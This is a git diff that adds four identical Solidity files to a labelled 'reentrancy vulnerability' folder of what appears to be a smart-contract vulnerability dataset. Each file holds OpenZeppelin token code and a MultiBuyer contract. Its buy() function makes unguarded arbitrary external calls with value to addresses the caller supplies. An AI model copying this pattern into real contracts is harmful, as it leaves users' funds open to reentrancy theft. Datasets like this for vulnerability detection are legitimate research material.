newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31627.sol b/smart_contract_dataset/reentrancy vulnerability/31627.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31627.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31632.sol b/smart_contract_dataset/reentrancy vulnerability/31632.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31632.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31890.sol b/smart_contract_dataset/reentrancy vulnerability/31890.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31890.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31893.sol b/smart_contract_dataset/reentrancy vulnerability/31893.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31893.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy 